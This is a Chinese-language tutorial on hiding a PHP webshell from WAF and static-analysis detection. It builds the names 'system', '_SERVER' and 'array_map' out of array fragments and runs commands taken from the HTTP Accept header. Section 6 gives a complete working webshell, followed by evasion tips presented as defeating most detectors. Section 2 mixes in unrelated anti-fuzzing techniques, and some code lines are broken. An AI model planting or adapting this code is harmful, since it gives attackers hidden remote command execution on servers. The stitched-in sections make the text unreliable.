基于增加复杂逻辑数组混淆的webshell绕过
字数 1726 2025-08-23 18:31:09
基于复杂逻辑数组混淆的WebShell绕过技术详解
1. WebShell检测机制分析
要有效绕过WebShell检测,首先需要了解常见的检测机制:
1.1 全局变量跟踪
检测系统会监控以下全局变量的使用情况:
$_GET,$_POST,$_COOKIE,$_REQUEST,$_SERVER$_FILE,$GLOBALS
当这些传入参数被使用时,检测系统会将其标记为"source"并进行持续跟踪
1.2 特殊字符检测
系统会检测以下危险函数和操作:
- 命令执行函数:
system,exec,shell_exec等 - 代码执行函数:
eval,assert,create_function等 - 文件操作函数:
file_put_contents,fopen等
1.3 污点分析技术
现代WAF采用污点分析技术:
- 标记用户输入为"污点源"
- 跟踪污点数据在程序中的传播
- 当污点数据到达敏感函数时触发告警
2. 绕过技术核心思路
2.1 SpeedBump技术
- 在非预期错误处理路径注入延迟原语
- 使正常执行速度比模糊测试执行慢数百倍
- 干扰模糊测试的效率
2.2 BranchTrap技术
- 插入大量对输入敏感的分支
- 隐藏真实路径,污染覆盖率地图
- 迫使模糊测试浪费资源处理无用分支
2.3 AntiHybrid技术
- 将显式数据流转换为隐式数据流
- 阻碍污染分析和符号执行
- 增加静态分析的难度
3. 具体实现方法
3.1 使用array_column构建恶意字符串
$records = array(
array('id' => "array", 'first_name' => '_', 'last_name' => 'sy'),
array('id' => "_", 'first_name' => 'SER', 'last_name' => 's'),
array('id' => "ma", 'first_name' => 'VE', 'last_name' => 't'),
array('id' => "p", 'first_name' => 'R', 'last_name' => 'em')
);
$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');
3.2 使用implode拼接字符串
$string1 = implode('', $last_names); // 拼接成"system"
$string2 = implode('', $first_names); // 拼接成"_SERVER"
3.3 变量混淆技术
parse_str混淆
$a = "123123123123123";
parse_str($a = implode('', (array_column($records, 'id'))), $aarryy);
动态变量引用
$c =
$$
string1['HTTP_ACCEPT']; // 等价于 $_SERVER['HTTP_ACCEPT']
extract混淆
$f = array("nhao" => $c);
extract($f); // 将$f数组中的键值对导入为变量
3.4 最终执行方式
if("a" === $a($array[0], array($array[rand(0, 2)]))){
echo 1;
}
4. 关键函数解析
4.1 array_column函数
- 从多维数组中提取指定列
- PHP 5.5.0+支持
- 语法:
array_column(array $array, mixed $column_key [, mixed $index_key = null])
示例:
$first_names = array_column($records, 'first_name');
4.2 implode函数
- 将数组元素连接为字符串
- 语法:
implode(string $separator, array $array)
示例:
$string1 = implode('', $last_names); // 无分隔符连接
4.3 parse_str函数
- 将查询字符串解析为变量
- 语法:
parse_str(string $encoded_string [, array &$result])
示例:
parse_str("name=John&age=30", $output);
4.4 extract函数
- 从数组导入变量到当前符号表
- 语法:
extract(array $array [, int $flags = EXTR_OVERWRITE [, string $prefix = null]])
示例:
extract(array("color" => "blue", "size" => "medium"));
4.5 array_map函数
- 为数组每个元素应用回调函数
- 可用于动态执行代码
- 语法:
array_map(callable $callback, array $array)
示例:
$b = array_map('system', $commands);
5. 防御规避技巧
5.1 利用$_SERVER变量
可控制的$_SERVER变量包括:
- HTTP_ACCEPT
- HTTP_USER_AGENT
- HTTP_REFERER
- HTTP_ACCEPT_LANGUAGE
- 其他HTTP头字段
5.2 复杂逻辑构建
- 创建多层嵌套数组结构
- 使用随机数干扰静态分析
- 构建看似无害的业务逻辑
5.3 分阶段执行
- 第一阶段:拼接关键字符串
- 第二阶段:变量混淆
- 第三阶段:条件触发执行
6. 完整示例代码
<?php
$records = array(
array('id' => "array", 'first_name' => '_', 'last_name' => 'sy'),
array('id' => "_", 'first_name' => 'SER', 'last_name' => 's'),
array('id' => "ma", 'first_name' => 'VE', 'last_name' => 't'),
array('id' => "p", 'first_name' => 'R', 'last_name' => 'em')
);
$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');
$a = "123123123123123";
parse_str($a = implode('', (array_column($records, 'id'))), $aarryy);
$string1 = implode('', $last_names);
$string2 = implode('', $first_names);
$array = array();
array_push($array, $string1, $string2);
if(1 === $_GET[1]){
$c = 123;
} else {
$c =
$$
string1['HTTP_ACCEPT'];
}
if(intval($_GET[1]) > 1){
$f = array("nhao" => $c);
extract($f);
}
array_push($array, $nhao);
if("a" === $a($array[0], array($array[rand(0, 2)]))){
echo 1;
}
7. 检测规避要点
- 避免直接使用危险函数名
- 将敏感操作分散在多处
- 使用合法业务函数作为掩护
- 引入随机性和条件判断
- 构建复杂的变量引用关系
- 利用PHP动态特性实现间接调用
8. 进阶技巧
- 结合面向对象特性,使用类和魔术方法
- 利用序列化和反序列化操作
- 通过文件操作分散敏感代码
- 使用反射机制动态调用函数
- 结合正则表达式处理字符串
- 利用PHP的命名空间特性
通过以上技术组合,可以有效绕过大多数基于特征和简单行为分析的WebShell检测系统。关键在于构建复杂的逻辑关系和间接引用,使得静态分析难以追踪真实的执行流程。